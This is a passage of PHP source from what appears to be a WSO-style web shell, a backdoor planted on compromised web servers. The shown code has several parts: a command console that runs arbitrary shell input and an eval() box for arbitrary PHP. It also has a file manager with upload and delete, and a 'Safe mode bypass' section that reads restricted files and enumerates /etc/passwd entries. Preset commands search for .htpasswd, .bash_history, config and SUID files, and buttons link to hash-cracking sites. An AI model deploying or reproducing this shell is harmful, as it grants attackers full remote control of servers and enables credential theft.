  534. echo 'Saved!<br><script>p3_="";</script>';
  535. @touch($_POST['p1'],$time,$time);
  536. }
  537. }
  538. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  539. $fp = @fopen($_POST['p1'], 'r');
  540. if($fp) {
  541. while( !@feof($fp) )
  542. echo htmlspecialchars(@fread($fp, 1024));
  543. @fclose($fp);
  544. }
  545. echo '</textarea><input type=submit value="submit"></form>';
  546. break;
  547. case 'hexdump':
  548. $c = @file_get_contents($_POST['p1']);
  549. $n = 0;
  550. $h = array('00000000<br>','','');
  551. $len = strlen($c);
  552. for ($i=0; $i<$len; ++$i) {
  553. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  554. switch ( ord($c[$i]) ) {
  555. case 0: $h[2] .= ' '; break;
  556. case 9: $h[2] .= ' '; break;
  557. case 10: $h[2] .= ' '; break;
  558. case 13: $h[2] .= ' '; break;
  559. default: $h[2] .= $c[$i]; break;
  560. }
  561. $n++;
  562. if ($n == 32) {
  563. $n = 0;
  564. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  565. $h[1] .= '<br>';
  566. $h[2] .= "\n";
  567. }
  568. }
  569. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  570. break;
  571. case 'rename':
  572. if( !empty($_POST['p3']) ) {
  573. if(!@rename($_POST['p1'], $_POST['p3']))
  574. echo 'Can\'t rename!<br>';
  575. else
  576. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  577. }
  578. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
  579. break;
  580. case 'touch':
  581. if( !empty($_POST['p3']) ) {
  582. $time = strtotime($_POST['p3']);
  583. if($time) {
  584. if(!touch($_POST['p1'],$time,$time))
  585. echo 'Fail!';
  586. else
  587. echo 'Touched!';
  588. } else echo 'Bad time format!';
  589. }
  590. clearstatcache();
  591. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
  592. break;
  593. /* (С) 12.2015 mitryz */
  594. case 'frame':
  595. $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
  596. if ($frameSrc[0] != '/')
  597. $frameSrc = '/' . $frameSrc;
  598. if ($frameSrc[strlen($frameSrc) - 1] != '/')
  599. $frameSrc = $frameSrc . '/';
  600. $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
  601. echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
  602. break;
  603. }
  604. echo '</div>';
  605. hardFooter();
  606. }
  607. if($os == 'win')
  608. $aliases = array(
  609. "List Directory" => "dir",
  610. "Find index.php in current dir" => "dir /s /w /b index.php",
  611. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  612. "Show active connections" => "netstat -an",
  613. "Show running services" => "net start",
  614. "User accounts" => "net user",
  615. "Show computers" => "net view",
  616. "ARP Table" => "arp -a",
  617. "IP Configuration" => "ipconfig /all"
  618. );
  619. else
  620. $aliases = array(
  621. "List dir" => "ls -lha",
  622. "list file attributes on a Linux second extended file system" => "lsattr -va",
  623. "show opened ports" => "netstat -an | grep -i listen",
  624. "process status" => "ps aux",
  625. "Find" => "",
  626. "find all suid files" => "find / -type f -perm -04000 -ls",
  627. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  628. "find all sgid files" => "find / -type f -perm -02000 -ls",
  629. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  630. "find config.inc.php files" => "find / -type f -name config.inc.php",
  631. "find config* files" => "find / -type f -name \"config*\"",
  632. "find config* files in current dir" => "find . -type f -name \"config*\"",
  633. "find all writable folders and files" => "find / -perm -2 -ls",
  634. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  635. "find all service.pwd files" => "find / -type f -name service.pwd",
  636. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  637. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  638. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  639. "find all .bash_history files" => "find / -type f -name .bash_history",
  640. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  641. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  642. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  643. "Locate" => "",
  644. "locate httpd.conf files" => "locate httpd.conf",
  645. "locate vhosts.conf files" => "locate vhosts.conf",
  646. "locate proftpd.conf files" => "locate proftpd.conf",
  647. "locate psybnc.conf files" => "locate psybnc.conf",
  648. "locate my.conf files" => "locate my.conf",
  649. "locate admin.php files" =>"locate admin.php",
  650. "locate cfg.php files" => "locate cfg.php",
  651. "locate conf.php files" => "locate conf.php",
  652. "locate config.dat files" => "locate config.dat",
  653. "locate config.php files" => "locate config.php",
  654. "locate config.inc files" => "locate config.inc",
  655. "locate config.inc.php" => "locate config.inc.php",
  656. "locate config.default.php files" => "locate config.default.php",
  657. "locate config* files " => "locate config",
  658. "locate .conf files"=>"locate '.conf'",
  659. "locate .pwd files" => "locate '.pwd'",
  660. "locate .sql files" => "locate '.sql'",
  661. "locate .htpasswd files" => "locate '.htpasswd'",
  662. "locate .bash_history files" => "locate '.bash_history'",
  663. "locate .mysql_history files" => "locate '.mysql_history'",
  664. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  665. "locate backup files" => "locate backup",
  666. "locate dump files" => "locate dump",
  667. "locate priv files" => "locate priv"
  668. );
  669. function actionConsole() {
  670. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  671. prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  672. $_POST['p1'] .= ' 2>&1';
  673. } elseif(!empty($_POST['p1']))
  674. prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  675. if(isset($_POST['ajax'])) {
  676. prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  677. ob_start();
  678. echo "d.cf.cmd.value='';\n";
  679. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
  680. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  681. if(@chdir($match[1])) {
  682. $GLOBALS['cwd'] = @getcwd();
  683. echo "c_='".$GLOBALS['cwd']."';";
  684. }
  685. }
  686. echo "d.cf.output.value+='".$temp."';";
  687. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  688. $temp = ob_get_clean();
  689. echo strlen($temp), "\n", $temp;
  690. exit;
  691. }
  692. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  693. prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  694. hardHeader();
  695. echo "<script>
  696. if(window.Event) window.captureEvents(Event.KEYDOWN);
  697. var cmds = new Array('');
  698. var cur = 0;
  699. function kp(e) {
  700. var n = (window.Event) ? e.which : e.keyCode;
  701. if(n == 38) {
  702. cur--;
  703. if(cur>=0)
  704. document.cf.cmd.value = cmds[cur];
  705. else
  706. cur++;
  707. } else if(n == 40) {
  708. cur++;
  709. if(cur < cmds.length)
  710. document.cf.cmd.value = cmds[cur];
  711. else
  712. cur--;
  713. }
  714. }
  715. function add(cmd) {
  716. cmds.pop();
  717. cmds.push(cmd);
  718. cmds.push('');
  719. cur = cmds.length-1;
  720. }
  721. </script>";
  722. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
  723. foreach($GLOBALS['aliases'] as $n => $v) {
  724. if($v == '') {
  725. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  726. continue;
  727. }
  728. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  729. }
  730.  
  731. echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
  732. if(!empty($_POST['p1'])) {
  733. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  734. }
  735. echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  736. echo '</form></div><script>d.cf.cmd.focus();</script>';
  737. hardFooter();
  738. }
  739. function actionPhp() {
  740. if( isset($_POST['ajax']) ) {
  741. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  742. ob_start();
  743. eval($_POST['p1']);
  744. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  745. echo strlen($temp), "\n", $temp;
  746. exit;
  747. }
  748. hardHeader();
  749. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  750. echo '<h1>PHP info</h1><div class=content>';
  751. ob_start();
  752. phpinfo();
  753. $tmp = ob_get_clean();
  754. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  755. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  756. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  757. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  758. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  759. echo $tmp;
  760. echo '</div><br>';
  761. }
  762. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  763. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  764. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  765. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  766. if(!empty($_POST['p1'])) {
  767. ob_start();
  768. eval($_POST['p1']);
  769. echo htmlspecialchars(ob_get_clean());
  770. }
  771. echo '</pre></div>';
  772. hardFooter();
  773. }
  774. function actionFilesMan() {
  775. if (!empty ($_COOKIE['f']))
  776. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  777.  
  778. if(!empty($_POST['p1'])) {
  779. switch($_POST['p1']) {
  780. case 'uploadFile':
  781. if ( is_array($_FILES['f']['tmp_name']) ) {
  782. foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
  783. if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
  784. echo "Can't upload file!";
  785. }
  786. }
  787. }
  788. break;
  789. case 'mkdir':
  790. if(!@mkdir($_POST['p2']))
  791. echo "Can't create new dir";
  792. break;
  793. case 'delete':
  794. function deleteDir($path) {
  795. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  796. $dh = opendir($path);
  797. while ( ($▟ = readdir($dh) ) !== false) {
  798. $▟ = $path.$▟;
  799. if ( (basename($▟) == "..") || (basename($▟) == ".") )
  800. continue;
  801. $type = filetype($▟);
  802. if ($type == "dir")
  803. deleteDir($▟);
  804. else
  805. @unlink($▟);
  806. }
  807. closedir($dh);
  808. @rmdir($path);
  809. }
  810. if(is_array(@$_POST['f']))
  811. foreach($_POST['f'] as $f) {
  812. if($f == '..')
  813. continue;
  814. $f = urldecode($f);
  815. if(is_dir($f))
  816. deleteDir($f);
  817. else
  818. @unlink($f);
  819. }
  820. break;
  821. case 'paste':
  822. if($_COOKIE['act'] == 'copy') {
  823. function copy_paste($c,$s,$d){
  824. if(is_dir($c.$s)){
  825. mkdir($d.$s);
  826. $h = @opendir($c.$s);
  827. while (($f = @readdir($h)) !== false)
  828. if (($f != ".") and ($f != ".."))
  829. copy_paste($c.$s.'/',$f, $d.$s.'/');
  830. } elseif(is_file($c.$s))
  831. @copy($c.$s, $d.$s);
  832. }
  833. foreach($_COOKIE['f'] as $f)
  834. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  835. } elseif($_COOKIE['act'] == 'move') {
  836. function move_paste($c,$s,$d){
  837. if(is_dir($c.$s)){
  838. mkdir($d.$s);
  839. $h = @opendir($c.$s);
  840. while (($f = @readdir($h)) !== false)
  841. if (($f != ".") and ($f != ".."))
  842. copy_paste($c.$s.'/',$f, $d.$s.'/');
  843. } elseif(@is_file($c.$s))
  844. @copy($c.$s, $d.$s);
  845. }
  846. foreach($_COOKIE['f'] as $f)
  847. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  848. } elseif($_COOKIE['act'] == 'zip') {
  849. if(class_exists('ZipArchive')) {
  850. $zip = new ZipArchive();
  851. if ($zip->open($_POST['p2'], 1)) {
  852. chdir($_COOKIE['c']);
  853. foreach($_COOKIE['f'] as $f) {
  854. if($f == '..')
  855. continue;
  856. if(@is_file($_COOKIE['c'].$f))
  857. $zip->addFile($_COOKIE['c'].$f, $f);
  858. elseif(@is_dir($_COOKIE['c'].$f)) {
  859. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  860. foreach ($iterator as $key=>$value) {
  861. $zip->addFile(realpath($key), $key);
  862. }
  863. }
  864. }
  865. chdir($GLOBALS['cwd']);
  866. $zip->close();
  867. }
  868. }
  869. } elseif($_COOKIE['act'] == 'unzip') {
  870. if(class_exists('ZipArchive')) {
  871. $zip = new ZipArchive();
  872. foreach($_COOKIE['f'] as $f) {
  873. if($zip->open($_COOKIE['c'].$f)) {
  874. $zip->extractTo($GLOBALS['cwd']);
  875. $zip->close();
  876. }
  877. }
  878. }
  879. } elseif($_COOKIE['act'] == 'tar') {
  880. chdir($_COOKIE['c']);
  881. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  882. ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  883. chdir($GLOBALS['cwd']);
  884. }
  885. unset($_COOKIE['f']);
  886. setcookie('f', '', time() - 3600);
  887. break;
  888. default:
  889. if(!empty($_POST['p1'])) {
  890. prototype('act', $_POST['p1']);
  891. prototype('f', serialize(@$_POST['f']));
  892. prototype('c', @$_POST['c']);
  893. }
  894. break;
  895. }
  896. }
  897. hardHeader();
  898. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  899. $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  900. if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
  901. global $sort;
  902. $sort = array('name', 1);
  903. if(!empty($_POST['p1'])) {
  904. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  905. $sort = array($match[1], (int)$match[2]);
  906. }
  907. echo "<script>
  908. function sa() {
  909. for(i=0;i<d.files.elements.length;i++)
  910. if(d.files.elements[i].type == 'checkbox')
  911. d.files.elements[i].checked = d.files.elements[0].checked;
  912. }
  913. </script>
  914. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  915. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  916. $dirs = $files = array();
  917. $n = count($dirContent);
  918. for($i=0;$i<$n;$i++) {
  919. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  920. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  921. $tmp = array('name' => $dirContent[$i],
  922. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  923. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  924. 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  925. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  926. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  927. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  928. );
  929. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  930. $files[] = array_merge($tmp, array('type' => 'file'));
  931. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  932. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  933. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
  934. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  935. }
  936. $GLOBALS['sort'] = $sort;
  937. function cmp($a, $b) {
  938. if($GLOBALS['sort'][0] != 'size')
  939. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  940. else
  941. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  942. }
  943. usort($files, "cmp");
  944. usort($dirs, "cmp");
  945. $files = array_merge($dirs, $files);
  946. $l = 0;
  947. foreach($files as $f) {
  948. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  949. .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  950. $l = $l?0:1;
  951. }
  952. echo "<tr id=fak><td colspan=7>
  953. <input type=hidden name=ne value=''>
  954. <input type=hidden name=a value='FilesMan'>
  955. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  956. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  957. <label><select name='p1'>";
  958. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  959. echo "<option value='paste'>↳ Paste</option>";
  960. echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  961. if(class_exists('ZipArchive'))
  962. echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
  963. echo "<option value='tar'>+ tar.gz</option>";
  964. echo "</select></label>";
  965. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  966. echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  967. echo "<input type='submit' value='submit'></td></tr></form></table></div>";
  968. hardFooter();
  969. }
  970. function actionStringTools() {
  971. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  972. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  973. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  974. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  975. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  976. $stringTools = array(
  977. 'Base64 encode' => 'base64_encode',
  978. 'Base64 decode' => 'base64_decode',
  979. 'Url encode' => 'urlencode',
  980. 'Url decode' => 'urldecode',
  981. 'Full urlencode' => 'full_urlencode',
  982. 'md5 hash' => 'md5',
  983. 'sha1 hash' => 'sha1',
  984. 'crypt' => 'crypt',
  985. 'CRC32' => 'crc32',
  986. 'ASCII to HEX' => 'ascii2hex',
  987. 'HEX to ASCII' => 'hex2ascii',
  988. 'HEX to DEC' => 'hexdec',
  989. 'HEX to BIN' => 'hex2bin',
  990. 'DEC to HEX' => 'dechex',
  991. 'DEC to BIN' => 'decbin',
  992. 'BIN to HEX' => 'binhex',
  993. 'BIN to DEC' => 'bindec',
  994. 'String to lower case' => 'strtolower',
  995. 'String to upper case' => 'strtoupper',
  996. 'Htmlspecialchars' => 'htmlspecialchars',
  997. 'String length' => 'strlen',
  998. );
  999. if(isset($_POST['ajax'])) {
  1000. prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1001. ob_start();
  1002. if(in_array($_POST['p1'], $stringTools))
  1003. echo $_POST['p1']($_POST['p2']);
  1004. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1005. echo strlen($temp), "\n", $temp;
  1006. exit;
  1007. }
  1008. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1009. prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1010. hardHeader();
  1011. echo '<h1>String conversions</h1><div class=content>';
  1012. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
  1013. foreach($stringTools as $k => $v)
  1014. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1015. echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1016. if(!empty($_POST['p1'])) {
  1017. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1018. }
  1019. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  1020. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1021. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1022. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1023. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1024. <tr><td></td><td><input type='submit' value='submit'></td></tr>
  1025. </table></form>";
  1026. function hardRecursiveGlob($path) {
  1027. if(substr($path, -1) != '/')
  1028. $path.='/';
  1029. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1030. if(is_array($paths)&&@count($paths)) {
  1031. foreach($paths as $▟) {
  1032. if(@is_dir($▟)){
  1033. if($path!=$▟)
  1034. hardRecursiveGlob($▟);
  1035. } else {
  1036. if(empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2'])!==false)
  1037. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($▟)."\", \"view\",\"\")'>".htmlspecialchars($▟)."</a><br>";
  1038. }
  1039. }
  1040. }
  1041. }
  1042. if(@$_POST['p3'])
  1043. hardRecursiveGlob($_POST['c']);
  1044. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1045. <form method='post' target='_blank' name='hf'>
  1046. <input type='text' name='hash' style='width:200px;'><br>
  1047. <input type='hidden' name='act' value='find'/>
  1048. <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  1049. <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1050. <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
  1051. <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1052. <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
  1053. <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
  1054. <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1055. </form></div>";
  1056. hardFooter();
  1057. }
  1058. function actionSafeMode() {
  1059. $temp='';
  1060. ob_start();
  1061. switch($_POST['p1']) {
  1062. case 1:
  1063. $temp=@tempnam($test, 'cx');
  1064. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1065. echo @file_get_contents($temp);
  1066. unlink($temp);
  1067. } else
  1068. echo 'Sorry... Can\'t open file';
  1069. break;
  1070. case 2:
  1071. $files = glob($_POST['p2'].'*');
  1072. if( is_array($files) )
  1073. foreach ($files as $filename)
  1074. echo $filename."\n";
  1075. break;
  1076. case 3:
  1077. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1078. curl_exec($ch);
  1079. break;
  1080. case 4:
  1081. ini_restore("safe_mode");
  1082. ini_restore("open_basedir");
  1083. include($_POST['p2']);
  1084. break;
  1085. case 5:
  1086. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1087. $uid = @posix_getpwuid($_POST['p2']);
  1088. if ($uid)
  1089. echo join(':',$uid)."\n";
  1090. }
  1091. break;
  1092. case 6:
  1093. if(!function_exists('imap_open'))break;
  1094. $stream = imap_open($_POST['p2'], "", "");
  1095. if ($stream == FALSE)
  1096. break;
  1097. echo imap_body($stream, 1);
  1098. imap_close($stream);
  1099. break;
  1100. }
  1101. $temp = ob_get_clean();
  1102. hardHeader();
  1103. echo '<h1>Safe mode bypass</h1><div class=content>';
  1104. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form 